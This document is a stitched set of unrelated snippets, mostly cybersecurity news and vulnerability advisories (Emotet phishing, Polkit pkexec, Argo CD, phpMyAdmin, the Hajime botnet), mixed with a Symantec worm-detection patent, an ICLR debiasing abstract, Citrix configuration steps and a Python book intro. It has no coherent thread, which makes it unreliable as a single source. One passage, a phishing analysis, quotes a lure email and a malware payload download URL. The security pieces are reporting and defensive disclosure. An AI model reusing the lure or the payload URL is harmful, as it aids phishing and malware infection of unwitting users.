The Sober virus was not the only worm to make its run on Friday. FaceTime Communications reported the discovery of a new worm transmitted via instant messaging. The new worm targets PCs that have been infected with the lockx.exe or palsp.exe viruses and uses Internet Relay Chat-enabled malware to connect the host to a server for further infection through a series of commands.
At IT News.
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Adversaries are constantly finding new ways to infect systems and are willing to use any means necessary. For years, malware distributors leveraged malware distribution frameworks like exploit kits and traffic distribution systems to spread their malware. Adversaries are continuously experimenting with different mixtures of scripting and programming languages in an attempt to maximize their effectiveness in successfully infecting victims and to make analysis much more difficult.
Over the past year we have observed a significant increase in the volume and variety of malware loaders being distributed worldwide. Rather than leveraging malvertising and extensive TDS infrastructure, adversaries are now distributing loaders and creating new botnets that can be monetized to perform the spread of malware payloads for criminals seeking to deploy RATs, stealers, and banking trojans. This new generation of malware loaders features increased obfuscation, modularization, and maximum flexibility for the operators of these botnets. This talk will describe this recent shift in malware distribution, how these loaders are being leveraged, and how obfuscation and multi-stage delivery is being used to maximize efficiency and evade detection. We will also cover techniques for hunting these loaders in corporate environment and ways to more easily analyze them. |
Continuing with the never ending series of malware downloaders is an email with the subject of Copy Credit Note coming or pretending to come from Anna Mills anna.mills@ random email addresses with a semi-random named zip attachment which contains another zip file which delivers a wsf file eventually delivering what looks like emotet banking Trojan
Remember many email clients, especially on a mobile phone or tablet, only show the Name in the From: and not the bit in <domain.com >. That is why these scams and phishes work so well.
This is another one of the files that unless you have “show known file extensions enabled“, can easily be mistaken for a genuine DOC / PDF / JPG or other common file instead of the .EXE / .JS file it really is, so making it much more likely for you to accidentally open it and be infected.
1763904.zip extracts to AA-213-RR.zip : Extracts to: AA-213-RR.wsf Current Virus total detections: Payload Security shows a download of an encrypted file from http://sellitni.com/hjgf677??RqtfrQRDh=FirlRSoaCC which is converted by the script to emsjwIjFro1.exe ( VirusTotal) which suggests it might be emotet banking malware ( Payload Security )
Please see attached recent copy credit note.
Confidentiality: This e-mail and its attachments are intended only for the use of the person(s) (“the Intended Recipient”) to whom they are addressed and may also be legally privileged. It may contain information which is privileged and/or confidential. If they come to you in error you must take no action based on them, nor must you copy or show them to anyone. If you are not the Intended Recipient, please inform us as soon as possible of the error and immediately delete this e-mail and it’s attachments from your system.
Security Warning: Please note that this e-mail and its attachments have been created in the knowledge that internet e-mail is not a completely secure communications medium. We advise that you understand and observe this lack of security when e-mailing.
Viruses: Although we have taken reasonable steps to ensure that this e-mail and its attachments are free from any virus, we advise that in keeping with good computing practice, the recipient should ensure that they are actually virus free and we cannot accept liability for any damage which you may sustain as a result of software viruses.
Baby Bottles Wholesale Limited Registered in England, Registered Number 2066649
Premises address, Crondal Road, Bayton Road Industrial Estate, Exhall,Coventry, CV7 9NH |
Osiris’ fundamental makeup positions it in the fore of malware trends, despite being based on old source code that’s been knocking around for years.
CamuBot is a unique malware targeting Brazilian bank customers that attempts to bypass biometric account protections.
Trickbot is back, this time with a stealthy code injection trick.
A massive proxy botnet is just the tip of the iceberg, a warning sign of a bigger operation in the works by the Ramnit operators.
The Kronos banking trojan is back. Researchers have identified four unique campaigns that use variants of the once formidable malware.
The Emotet malware is back in full force in 2018 – and is now expanding its capabilities to act as a distributor of threats for other attack groups.
A new phishing scam purports to be MYOB invoices – but really contains a novel banking trojan.
While other malware families have been searching for new overlay techniques for Android 7 and 8, MysteryBot appears to have found a solution.
Researchers have discovered a banking trojan making waves in Brazil with an array of tricks up its sleeve, including using an unusual command and control (C&C) server.
Analysis shows that the malware, previously a banking trojan focused on Android devices, has rapidly evolved just in the past month. |
Junk Email Filter
XSS vulnerability in Content-Type display in read_body
- By sending a specially crafted email an attacker could insert HTML code
in the attachment area of read_body.php. The Content-Type header was not
encoded before it was sent to the browser.
- Affected Versions:
- <= 1.4.3-RC1
- Register Globals:
- Register_globals does not have to be on for this issue.
- CVE ID(s):
- view patch
- Discovered by Roman Medina.
- This page last updated:
- 2007-07-03 13:00:45 |
Our security team are aware of recent exploitation of 12-year-old security flaw in the sudo-like Polkit’s pkexec tool, which is found in all major Linux distributions.
About Polkit pkexec in Linux:
Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged processes. It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed (with root permission).
Vulnerability Description (CVE-2021-4034):
A local privilege escalation vulnerability was found on polkit's pkexec utility under CVE-2021-4034. The pkexec application is a setuid tool designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn't handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it'll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine.
Successful exploitation of this vulnerability allows any unprivileged user to gain root privileges on the vulnerable host. Qualys security researchers have been able to independently verify the vulnerability, develop an exploit, and obtain full root privileges on default installations of Ubuntu, Debian, Fedora, and CentOS. Other Linux distributions are likely vulnerable and probably exploitable. This vulnerability has been hiding in plain sight for 12+ years and affects all versions of pkexec since its first version in May 2009 (commit c8c3d83, “Add a pkexec(1) command”).
Take vulnerability management, threat detection and response to the next level. Subscribe for a free trial of USM Anywhere, it centralizes asset discovery, vulnerability scanning and security monitoring of networks and devices in the cloud, on premises, and in remote locations, helping you to quickly detect and respond to threats virtually anywhere. |
Plenty of VPN providers exist, and plenty do a fine job providing their service to millions of people and companies. But there’s at least one China-based service now being used to facilitate Advanced Persistent Threat (APT) attacks.
“Terracotta,” as RSA Research staffers call the provider, is a commercial VPN network that APT actors have chosen to integrate into their infrastructure. It helps them hide their criminal activities and, really, cover their digital tracks. RSA doesn’t know whether Terracotta directly markets to the state-sponsored attackers, or if they found it through their own search, but one thing is certain: they’re definitely using it.
Terracotta isn’t all innocent; most of its infrastructure appears to have been obtained through hacking. The company continuously adds new IP addresses with fresh nodes inside legitimate organizations, which Peter Beardmore, senior consultant for threat intelligence marketing at RSA, told SCMagazine.com provides a “great opportunity” for APT actors to “optimize and obfuscate their traffic.”
Blocking these IP address indicators becomes difficult with so many new ones being added on a continual basis. Plus, these threat actors’ traffic appears to come from “benign” sources, the report states.
Terracotta operates under various names and operates more than 1,500 nodes globally. RSA linked the company through common domain name registrant email addresses and by knowing that they are hosted on the same infrastructure with the same web content. At least 30 of these host systems are compromised Windows servers that were gathered without victims’ knowledge or permission.
In reality, Terracotta’s service appeals to hackers because it makes their jobs easier, Kent Backman, threat intelligence analyst for RSA FirstWatch, said in an interview with SCMagazine.com. They don’t have to spend time “hacking and developing their own infrastructure,” he noted.
These APT groups have a particular interest in Western governments, as well as commercial entities.
Both Backman and Beardmore said there are two sides to prevention and detection of Terracotta. For those victims who have, or might be, compromised and used as nodes in the VPN provider’s operation, they should make sure “simple security controls” are in place. This includes using a firewall, opting for strong passwords and changing the “Administrator” account name on all Windows systems.
For targets of APT attacks, know that no IP address can be trusted, Beardmore said. Seemingly legitimate traffic can always be a well-executed APT disguise. |
- Keywords: Fairness, Contrastive Learning, Mutual Information, Pretrained Text Encoders
- Abstract: Pretrained text encoders, such as BERT, have been applied increasingly in various natural language processing (NLP) tasks, and have recently demonstrated significant performance gains. However, recent studies have demonstrated the existence of social bias in these pretrained NLP models. Although prior works have made progress on word-level debiasing, improved sentence-level fairness of pretrained encoders still lacks exploration. In this paper, we proposed the first neural debiasing method for a pretrained sentence encoder, which transforms the pretrained encoder outputs into debiased representations via a fair filter (FairFil) network. To learn the FairFil, we introduce a contrastive learning framework that not only minimizes the correlation between filtered embeddings and bias words but also preserves rich semantic information of the original sentences. On real-world datasets, our FairFil effectively reduces the bias degree of pretrained text encoders, while continuously showing desirable performance on downstream tasks. Moreover, our post hoc method does not require any retraining of the text encoders, further enlarging FairFil's application space.
- One-sentence Summary: A debiasing method for large-scale pretrained text encoders via contrastive learning.
- Code Of Ethics: I acknowledge that I and all co-authors of this work have read and commit to adhering to the ICLR Code of Ethics
- Data: [CoLA](https://paperswithcode.com/dataset/cola), [GLUE](https://paperswithcode.com/dataset/glue), [QNLI](https://paperswithcode.com/dataset/qnli), [SST](https://paperswithcode.com/dataset/sst), [WikiText-2](https://paperswithcode.com/dataset/wikitext-2) |
|Publication number||US7552473 B2|
|Application number||US 10/640,351|
|Publication date||Jun 23, 2009|
|Filing date||Aug 12, 2003|
|Priority date||Aug 12, 2003|
|Also published as||DE602004008847D1, DE602004008847T2, EP1507382A1, EP1507382B1, US20050039082|
|Publication number||10640351, 640351, US 7552473 B2, US 7552473B2, US-B2-7552473, US7552473 B2, US7552473B2|
|Inventors||Carey S Nachenberg|
|Original Assignee||Symantec Corporation|
|Export Citation||BiBTeX, EndNote, RefMan|
|Patent Citations (11), Non-Patent Citations (16), Classifications (21), Legal Events (3)|
|External Links: USPTO, USPTO Assignment, Espacenet|
1. Field of the Invention
This invention pertains in general to computer security and in particular to preventing a worm or other malicious and/or unauthorized software from executing on a computer system.
2. Description of the Related Art
A “worm” is a computer program that attempts to infect multiple computer systems. There are a number of ways a worm can initially execute on a computer system. For example, an end-user might unintentionally download the worm from the Internet as a parasitic virus attached to a program. Alternatively, a worm might infect the computer system using transmission media such as email scripts, buffer overflow attacks, password cracking, etc.
Typically, the primary purpose of a worm is to spread to other computer systems. However, a worm can also include functionality to infect files on the computer system, destroy data on the computer system, and/or perform other malicious actions. A successful worm spreads rapidly and can quickly damage many computer systems.
An enterprise such as a corporation usually has multiple computer systems connected by a network. Each computer system has a local storage device, such as a hard drive. Many computer systems use a technique called “drive sharing” to make the contents of the storage devices accessible to the other computer systems on the network. Drive sharing often increases the productivity of the enterprise because it allows the end-users to easily share data contained on their computer systems.
However, one particularly virulent breed of worms uses drive sharing to quickly spread through the computer systems on an enterprise's network. These drive sharing worms can ravage an entire corporate network in hours by copying themselves from hard drive to hard drive over open network drive shares. Drive sharing worms are difficult to eradicate because a disinfected computer system is quickly re-infected via the network.
One technique for preventing worm attacks and virus infections is to install anti-virus software on the computer system in order to detect the presence of worms, viruses, and other malicious software. However, it is sometimes not practical to use anti-virus software on certain computer systems. Moreover, anti-virus software might fail to detect previously unknown worms. In addition, certain types of worms use programming techniques, such as polymorphism or metamorphism, that hamper the effectiveness of anti-virus software.
Accordingly, there is a need in the art for a way to detect and block drive sharing worms and other types of malicious software.
The above need is met by a worm detection module (WDM) (212) that identifies drive sharing worms and other malicious software and blocks the software from spreading to other computer systems (100) on the network (210) via open drive shares. The WDM (212) monitors (310) a storage device (108), such as a hard drive, for activity (314, 316) directed to executable files by remote processes. The WDM (212) flags (318) files (216) that are the target of such activity. If a flagged file (216) attempts to create an executable file (218) on a networked computer system (100B), the WDM (212) detects (322) that the flagged file (216) is a worm. In one embodiment, the WDM (212) performs secondary tests (320) on the flagged file (216) and/or the executable file (218) to determine whether the file has worm-like characteristics. If the secondary tests are satisfied, or if the secondary tests are omitted, the WDM (212) blocks the write to the networked computer system (100B) and thereby prevents the worm from propagating.
The figures depict an embodiment of the present invention for purposes of illustration only. One skilled in the art will readily recognize from the following description that alternative embodiments of the structures and methods illustrated herein may be employed without departing from the principles of the invention described herein.
The processor 102 is a general-purpose processor such as an INTEL x86, SUN MICROSYSTEMS SPARC, or POWERPC compatible-CPU. The memory 106 is, for example, firmware, read-only memory (ROM), non-volatile random access memory (NVRAM), and/or RAM, and holds instructions and data used by the processor 102. The pointing device 114 is a mouse, track ball, or other type of pointing device, and is used in combination with the keyboard 110 to input data into the computer system 100. The graphics adapter 112 displays images and other information on the display 118. The network adapter 116 couples the computer system 100 to a network 210.
The storage device 108 is a hard disk drive and/or another device capable of storing data, such as a compact disk (CD), DVD, or a solid-state memory device. As is known in the art, the storage device 108 holds executable programs and data in logical constructs called “files.” Depending upon the file system utilized on the storage device, each file can also have one or more stored attributes describing the file. For example, the stored attributes can indicate the name of the file, the date on which the file was last modified, the number of times the file was accessed, the entity that created, accessed or last modified the file, etc. Some file systems support extensible attributes.
As is known in the art, the computer system 100 is adapted to execute computer program modules. As used herein, the term “module” refers to computer program logic for providing the specified functionality. A module can be implemented in hardware, firmware, and/or software. In one embodiment, the modules are stored on the storage device 108. When utilized, the modules are loaded into the memory 106 and executed by the processor 102.
In one embodiment, the storage device 108 holds modules for implementing an operating system on the computer system. Possible operating systems include MICROSOFT WINDOWS, LINUX, and the MAC OS from APPLE COMPUTER. The operating system executes on, and controls the operation of, the computer system 100. In one embodiment, the operating system provides the ability to share data via the computer network 210. In some embodiments, the storage device 108 stores, and the computer system 100 executes, additional and/or different modules for providing networking functionality.
In one embodiment, the files on the storage device 108 are shared with other computer systems on the network as “drive shares.” An open drive share makes all or some of the files on the storage device 108 appear to other computer systems on the network 210 as a separate, logical storage device. For example, an end-user of the computer system 100 can use the operating system to share the directory “C:\DOCUMENTS AND SETTINGS\SMITH” on the storage device 108 with the other computer systems on the network 210. End-users of other computer systems on the network 210 can make the directory appear as a logical device on their respective computer systems. Depending upon how the drive share is configured, the networked computer system can have full read/write privileges on the shared drive.
Each computer system 100 in
In the environment 200 of
In one embodiment, the computer system 100A is configured to execute the WDM 212 at all times while the computer is running. The module can be, for example, executed as a file system driver, as a WINDOWS service, as a software daemon, as an application program, etc. In another embodiment, the WDM 212 is implemented at the network stack level where it can monitor inter-computer communications.
In addition, computer system 100C is executing a worm 214 or other malicious software that is attempting to infect other computer systems on the network 110 via open drive shares. There are multiple ways that the worm 214 might have started executing on computer system 100C. For example, the worm 214 could be a Trojan horse program that executed surreptitiously when the end-user launched another program. Or, the worm 214 might have compromised the computer system 100C through a buffer overflow attack or another attack that allowed the worm to execute itself on the computer system 100C.
The worm 214 on computer system 100C uses the open drive share to create an instance of itself 216 on the storage device 108A of computer system 100A. The new version of the worm 216, in turn, attempts to create a third instance of the worm 218 on the storage device 108B of computer system 100B. However, the WDM 212 executing on computer system 100A detects the presence of the worm 216 and stops it from spreading.
The WDM 212 monitors 310 activity on the local storage device 108A. Specifically, the WDM 212 detects 314 the creation of new executable files 216, or changes to existing files 216 stored in the device 108. In one embodiment, detected changes include modifying an existing executable file, renaming a file to make it executable or non-executable, and any other instances where the storage device 108A is opened for writing.
When the WDM 212 detects 314 activity directed to an executable file 216, it determines 316 whether the activity is being performed by a remote process. A “remote process” is a process executing on another computer system 100 on the network 210. For example, a worm 214 utilizing an open drive share to create a file on the storage device 108A will satisfy this determination.
In one embodiment, the WDM 212 determines 316 whether a process is remote by examining the process identification (process ID) for the process. The process ID is a value assigned by the operating system that identifies the process. Accesses to the storage device 108A initiated by remote processes (i.e., processes not initiated on computer system 100A) are typically performed by a dedicated operating system process. If a remote process initiated the activity, the ID of the process performing the activity will be that of the dedicated operating system process. In contrast, accesses to the storage device 108A initiated by local processes are performed under the process IDs of the local application processes. Accordingly, in one embodiment the WDM 212 compares the process ID of the process performing the activity with the process ID of the operating system. If 316 the process IDs are identical, the activity is being performed by a remote process. Other embodiments of the WDM 212 use other techniques to determine whether an activity is performed by a remote process.
If 316 the activity is performed by a local process, the WDM 212 allows it to proceed normally. If 316 the activity is performed by a remote process, the WDM 212 also allows the activity to proceed normally (since the behavior might be valid). However, the WDM 212 flags 318 the file 216 to indicate that it was created or changed by a remote process. In one embodiment, the file system on the storage device supports extensible attributes. In this case, the WDM 212 flags 318 the file by setting an attribute associated with the file to indicate that the file is flagged. In another embodiment, the WDM 212 maintains a database 218 on the storage device 108A or elsewhere that identifies files that are flagged by the WDM 212. Other embodiments track flagged files in a different manner.
If the WDM 212 observes 312 a flagged file 216 attempting to use drive sharing to create or change an executable file 218 on a networked computer system 100B, the WDM 212 detects 320 that the flagged file 216 is a worm. An attempt to create a new executable file is a clear indication of transitive propagation and is thus a strong indication that the flagged file 216 is malicious. Accordingly, the WDM 212 detects malicious software with a low rate of false positives.
In one embodiment, the WDM 212 performs 320 one or more secondary tests before indicating that the flagged file 216 is a worm. The secondary tests further decrease the likelihood of a false positive detection of malicious software. One secondary test determines whether the new executable file 218 is an exact copy of the flagged file 216. If the new file 218 is an exact copy, then the flagged file 216 is likely a worm. Another test examines the size of the new file 218 to see if it is identical, or similar to, the size of the flagged file. This test is useful in detecting polymorphic or metamorphic worms in which the body of the worm changes from instance to instance yet the size of the file remains substantially constant. Another secondary test heuristically searches the new executable file 218 to determine whether it contains computer program instructions for using drive sharing to replicate itself. If the new file 218 contains these instructions, it is probably a worm. Other embodiments of the WDM 212 perform other secondary tests instead of, or in addition to, the ones described herein.
Once the flagged file is detected as a worm 322, the WDM 212 performs one or more actions to stop the spread of the worm 216. These actions include blocking the flagged file's attempt to write to the open drive on the networked computer system 100B, quarantining the flagged file 216 to prevent it from performing further actions, terminating any processes started by the flagged file, displaying an alert to the end-user, etc. In one embodiment, the actions performed are user-configurable. Thus, different embodiments of the WDM 212 can perform different actions upon detecting 322 that a file is a worm.
The steps described above stop a worm from spreading among the computer systems 100 coupled to the network 210. In the example of
The above description is included to illustrate the operation of the preferred embodiments and is not meant to limit the scope of the invention. The scope of the invention is to be limited only by the following claims. From the above discussion, many variations will be apparent to one skilled in the relevant art that would yet be encompassed by the spirit and scope of the invention.
|Cited Patent||Filing date||Publication date||Applicant||Title|
|US6088803||Dec 30, 1997||Jul 11, 2000||Intel Corporation||System for virus-checking network data during download to a client device|
|US6594686||Mar 2, 2000||Jul 15, 2003||Network Associates Technology, Inc.||Obtaining user responses in a virtual execution environment|
|US6842861 *||Mar 24, 2000||Jan 11, 2005||Networks Associates Technology, Inc.||Method and system for detecting viruses on handheld computers|
|US6973577 *||May 26, 2000||Dec 6, 2005||Mcafee, Inc.||System and method for dynamically detecting computer viruses through associative behavioral analysis of runtime state|
|US20020129277 *||Mar 12, 2001||Sep 12, 2002||Caccavale Frank S.||Using a virus checker in one file server to check for viruses in another file server|
|US20020138585||Mar 18, 2002||Sep 26, 2002||Fujitsu Limited||Electronic mail program|
|US20020147915 *||Apr 10, 2001||Oct 10, 2002||International Business Machines Corporation||Method and apparatus for the detection, notification, and elimination of certain computer viruses on a network using a promiscuous system as bait|
|US20040098607 *||Feb 4, 2003||May 20, 2004||Wholesecurity, Inc.||Method, computer software, and system for providing end to end security protection of an online transaction|
|GB2383444A||Title not available|
|WO2001057829A1||Sep 7, 2000||Aug 9, 2001||Helio Zapata||Retractable watch band calendar|
|WO2002006928A2||Jun 14, 2001||Jan 24, 2002||Vcis, Inc.||Computer immune system and method for detecting unwanted code in a computer system|
|1||Chess, David J., Computer Viruses And Related Threats To Computer And Network Integrity, Computer Networks And ISDN Systems, Jul. 10, 1989, pp. 141-148, Amsterdam, NL.|
|2||Delio, M., "Virus Throttle a Hopeful Defense", Wired News, Dec. 9, 2002 [online] Retrieved from the Internet <URL:http://www.wired.com/news/infostructure/0,1377,56753,000.html>.|
|3||European Search Report, European Application No. 04254600, Dec. 21, 2004, 4 pages.|
|4||Lowe R. et al., WinXP Pro File Sharing, Practically Networked, Dec. 12, 2001, [online] [Retrieved on Jun. 10, 2003] Retrieved from the Internet <URL:http://www.practicallynetworked.com/sharing/xp-filesharing/whole.htm>.|
|5||Microsoft web pages, "Microsoft Palladium Initiative-Technical FAQ," pp. 1-8 [online], Aug. 2002 [retrieved on Oct. 10, 2002]. Retrieved from the Internet: <URL:http://www.microsoft.com/technet/security/news/PallFAQ2.asp?frame=true>.|
|6||Microsoft web pages, "Microsoft Palladium: A Business Overview," pp. 1-10 [online], Amy Carroll, Mario Juarez, Julia Polk and Tony Leininger, Aug. 2002 [retrieved on Oct. 10, 2002]. Retrieved from the Internet: <URL:http://www.microsoft.com/PressPass/features/2002/jul02/0724palladiumwp.asp>.|
|7||Moore, D. et al., Code-Red: A Case Study On The Spread And Victims Of An Internet Worm, Proceedings of the Internet Measurement Workshop (IMW), 2002, [online] [Retrieved on Dec. 16, 2003] Retrieved from the Internet <URL:http://www.citeseer.nj.nec.com/moore02codered.html>.|
|8||Nachenberg, Carey, Behavior Blocking: The Next Step In Anti-Virus Protection, Mar. 19, 2002, [online] [retrieved on Nov. 29, 2004] Retrieved from the Internet: <URL:http://www.securityfocus.com/printable/infocus/1557>.|
|9||New Windows Worms At Work In May web page, Shout Communications, [online] [Retrieved on Dec. 16, 2003] Retrieved from the Internet <URL:http://www.shoutasia.com/trend/clients-trend-may-virus.htm>.|
|10||Parkhouse, Jayne, "Pelican SafeTNet 2.0" [online], Jun. 2000, SC Magazine Product Review, [retrieved on Dec. 1, 2003]. Retrieved from the Internet: <URL: http://www.scmagazine.com/scmagazine/standalone/pelican/sc-pelican.html.|
|11||Staniford, S. et al., How To Own The Internet In Your Spare Time, Proceedings of the 11the USENIX Security Symposium, 2002, [online] [Retrieved on Dec. 16, 2003] Retrieved from the Internet <URL://http://citeseer.nj.nec.com/staniford02how.html>.|
|12||Toth, T. et al., Connection-History Based Anomaly Detection, Proceedings of the 2002 IEEE, Workshop On Information Assurance And Security, Jun. 2002, pp. 30-35, vol. 17-19, United States Military Academy, West Point, N.Y.|
|13||Trusted Computing Platform Alliance web pages. "TCPA / Palladium Frequently Asked Questions," pp. 1-13 [online], Ross Anderson [retrieved on Oct. 10, 2002]. Retrieved from the Internet: <URL:http://www.cl.cam.ac.uk/~rja14/tcpa-faq.html>.|
|14||Trusted Computing Platform Alliance, "Building a Foundation of Trust in the PC," pp. 1-9, Jan. 2000.|
|15||Williamson, M., "Throttling Viruses: Restricting Propagation to Defeat Malicious Mobile Code", ACSAC Conference, Dec. 2002, pp. 1-9, Hewlett-Packard, Dec. 10, 2002.|
|16||Windows XP Simple File Sharing web page, Practically Networked, [online] [Retrieved on Jun. 10, 2003] Retrieved from the Internet <URL:http://www.practicallynetworked.com/sharing/xp/filesharing.htm>.|
|U.S. Classification||726/22, 705/54, 717/176, 705/51, 717/174, 705/53, 717/175, 726/25, 713/189, 713/190, 705/52, 713/191|
|International Classification||G06F21/00, H04L29/06, G06F11/00|
|Cooperative Classification||G06F21/56, G06F21/566, H04L63/145|
|European Classification||G06F21/56, G06F21/56C, H04L63/14D1|
|Aug 12, 2003||AS||Assignment|
Owner name: SYMANTEC CORPORATION, CALIFORNIA
Free format text: ASSIGNMENT OF ASSIGNORS INTEREST;ASSIGNOR:NACHENBERG, CAREY S.;REEL/FRAME:014399/0202
Effective date: 20030811
|Dec 26, 2012||FPAY||Fee payment|
Year of fee payment: 4
|Nov 29, 2016||FPAY||Fee payment|
Year of fee payment: 8 |
The ongoing COVID-19 pandemic has left a profound impact on the payments ecosystem threat landscape throughout 2020 and into 2021. With online shopping witnessing a surge bigger than ever, digital skimming attacks have become a top threat for the payments ecosystem.
A simple digital skimming attack involves injecting malicious code into a merchant’s site to harvest payment card details from the site’s checkout page. However, in the past year, there has been a vast evolution in the injection process and skimmer code as well. To add to the trouble, a new threat actor has emerged lately with new tricks up its sleeve. |
The IP address of your second Citrix Access Gateway, if you have one. You can specify additional devices as as radius_ip_3, radius_ip_4, etc. radius_secret_2: The secrets shared with your second Citrix Access Gateway, if using one. You can specify secrets for additional devices as radius_secret_3, radius_secret_4, etc.
Create a Citrix Gateway Session Policy that is applied when the EPA factor succeeds. Go to Citrix Gateway > Policies > Session. On the tab named Session Profiles, click Add. Name it FullAccess or similar and click Create. The Session Profile does not need any settings. Switch to the tab named Session Policies and click Add.
the file and click on Download. This will then download the file to your computer prompt you to open it on your local computer. 5. If you make any changes to the file, you will need to upload the file back to the file server. To do this, browse to the folder you wish to upload the file to, and click on Upload |
Russian intelligence services worked with prominent ransomware gangs to compromise U.S. government and government-affiliated organizations, according to new research from cybersecurity firm Analyst1.
Two Russian intelligence bureaus — the Federal Security Service, or FSB, and Foreign Intelligence Service, or SVR — collaborated with individuals in "multiple cybercriminal organizations," security analysts with the firm say in the report. The research indicates these cybercriminals helped Russian intelligence develop and deploy custom malware targeting American companies that serve U.S. military clients.
The hacking groups used a variation of the so-called Ryuk ransomware — used for attacks on large enterprises — called "Sidoh," created specifically for espionage, according to Analyst1. The code was launched sometime between June 2019 and January 2020 and hid in the background of Windows machines, silently harvesting keystrokes and sensitive documents.
One attack described in the report was executed by a group dubbed EvilCorp in October 2020. Another group known as SilverFish targeted the same victim only two months later using the same technical infrastructure, hacking tools and malicious scripts. The groups used a technique called "domain fronting" to hide their activity. They likely relied on a time-tested hacking tool called Mimikatz to infiltrate targeted systems, then distributed malware using a PowerShell Windows application.
"We believe Sidoh was created specifically for data exfiltration," said Jon DiMaggio, the report's author and a lead researcher at Analyst1. "It crawls documents for specific keywords, like 'weapon' and 'top secret,' then quietly sends the info back to the attacker."
A Russian government spokesperson did not immediately return a call for comment.
"Smoke, the smell of gunpowder and a bullet casing"
DiMaggio said his team used proprietary and open-source information to identify individual ransomware gang members with known ties to Russian intelligence services.
"We took a lot of data and hunted for new malware, analyzed it to see how it worked and what it did, and researched connections to the names and handles of the individuals and gangs, dark web and hacker forum activity," he said.
The researchers then manually diagrammed connections between individuals, FBI and law enforcement records and high-profile cybercriminal groups.
According to Analyst1, most attacks were executed in several stages. The FSB "employed multiple individuals who conducted ransomware attacks and are affiliated with Russian-based criminal organizations," the report states.
The attack itself has the hallmark of the SVR, a Russian intelligence service that specializes in surveillance and intelligence gathering. The organization avoids sabotaging its targets, and instead remains "hidden and present on the victim infrastructure," DiMaggio said. "They monitor victims and share intel with other [intelligence] directorates, which is what we saw here."
Analyst1 does not attribute the rise in organized criminal ransomware directly to Russian President Vladimir Putin or the Kremlin. But DiMaggio does "strongly believe" the Russian government colluded with cybercriminal gangs to spy on American defense targets.
"We have smoke, the smell of gunpowder and a bullet casing," he said. "But we do not have the gun to link the activity to the Kremlin. We wanted to have that, but we believe after conducting extensive research we came as close as possible to proving it based on the information/evidence available today."
for more features. |
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. All versions of Argo CD starting with v1.3.0 are vulnerable to a symlink following bug allowing a malicious user with repository write access to leak sensitive YAML files from Argo CD’s repo-server. A malicious Argo CD user with write access for a repository which is (or may be) used in a Helm-type Application may commit a symlink which points to an out-of-bounds file. If the target file is a valid YAML file, the attacker can read the contents of that file. Sensitive files which could be leaked include manifest files from other Applications’ source repositories (potentially decrypted files, if you are using a decryption plugin) or any YAML-formatted secrets which have been mounted as files on the repo-server. Patches for this vulnerability has been released in the following Argo CD versions: v2.4.1, v2.3.5, v2.2.10 and v2.1.16. If you are using a version >=v2.3.0 and do not have any Helm-type Applications you may disable the Helm config management tool as a workaround. |
A vulnerability was reported where a specially crafted username can be used to trigger an SQL injection attack through the designer feature.
When AllowArbitraryServer configuration set to true, with the use of a rogue MySQL server, an attacker can read any file on the server that the web server's user can access. phpMyadmin attempts to block the use of LOAD DATA INFILE, but due to a bug in PHP, this check is not honored. Additionally, when using the 'mysql' extension, mysql.allow_local_infile is enabled by default. Both of these conditions allow the attack to occur.
The mincore() system call can be used to observe memory access patterns of other processes.
The unveil() system call can leak memory.
A flaw was found in the Linux kernel's handle_rx() function in the [vhost_net] driver. A malicious virtual guest, under specific conditions, can trigger an out-of-bounds write in a kmalloc-8 slab on a virtual host which may lead to a kernel memory corruption and a system panic. Due to the nature of the flaw, privilege escalation cannot be fully ruled out.
Subversion 1.10.0 introduced server-side support for recursive directory listing operations. The implementation in mod_dav_svn failed to validate the root path of the directory listing provided by the client. If the client omits the root path, mod_dav_svn will deference an uninitialized pointer variable and crash the HTTPD worker process handling the request.
A DoS vulnerability in the crypto/elliptic implementations of the P-521 and P-384 elliptic curves may let an attacker craft inputs that consume excessive amounts of CPU. These inputs might be delivered via TLS handshakes, X.509 certificates, JWT tokens, ECDH shares or ECDSA signatures. In some cases, if an ECDH private key is reused more than once, the attack can also lead to key recovery.
Due to a lack of access_ok() checks in i915_gem_execbuffer2_ioctl(), it is possible to achieve escalation of privilege. |
WHAT YOU WILL LEARN IN THIS CHAPTER:
WROX.COM DOWNLOADS FOR THIS CHAPTER
For this chapter the wrox.com code downloads are found at
www.wrox.com/go/pythonprojects on the Download Code tab. The code is in the Chapter 3 download, called
Chapter3.zip, and individually named according to the names throughout the chapter.
In many scenarios you need to store data between executions of your program. The data you want to store could be local status information, such as the current location in an e-book reader or the current working filename, or it could be administrative data such as usernames and passwords or server addresses. Often it will be large volumes of business-oriented data such as customer orders, inventory, or address information. Many business applications consist of little more than a mechanism to create, view, and edit stored data.
This capability to store data in such a way that it is available for use on subsequent invocations of your program is known as data persistence because the data persists beyond the lifetime of the process that created it. To implement data persistence you need to store the data somewhere, either in a file or in a database.
This chapter is a bit like a history of computing storage technologies. That’s because the need to store data has grown—and continues to grow—ever ... |
New! Vulnerability Priority Rating (VPR)
Tenable calculates a dynamic VPR for every vulnerability. VPR combines vulnerability information with threat intelligence and machine learning algorithms to predict which vulnerabilities are most likely to be exploited in attacks. Read more about what VPR is and how it's different from CVSS.
VPR Score: 1.4
SynopsisThe remote EulerOS host is missing a security update.
DescriptionAccording to the version of the unbound packages installed, the EulerOS installation on the remote host is affected by the following vulnerability :
- A flaw was found in the way unbound before 1.6.8 validated wildcard-synthesized NSEC records. An improperly validated wildcard NSEC record could be used to prove the non-existence (NXDOMAIN answer) of an existing wildcard record, or trick unbound into accepting a NODATA proof.(CVE-2017-15105)
Note that Tenable Network Security has extracted the preceding description block directly from the EulerOS security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.
SolutionUpdate the affected unbound package. |
Over the past six months, a botnet known as Hajime has successfully infected more than 300,000 Internet-of-Things devices, in a sign that manufacturers continue to fail to secure their network-connected devices, according to an analysis published by security firm Kaspersky Lab on April 25.
The botnet mainly uses two methods of attack that focus on the brute-force guessing of passwords or exploiting the use of a default password, Igor Soumenkov, principal security researcher at Kaspersky Lab, told eWEEK. For example, one module focuses on the Arris cable modem and uses a password-of-the-day algorithm to login to devices that have the capability activated. The vulnerability has been known since 2009, according to Kaspersky Lab.
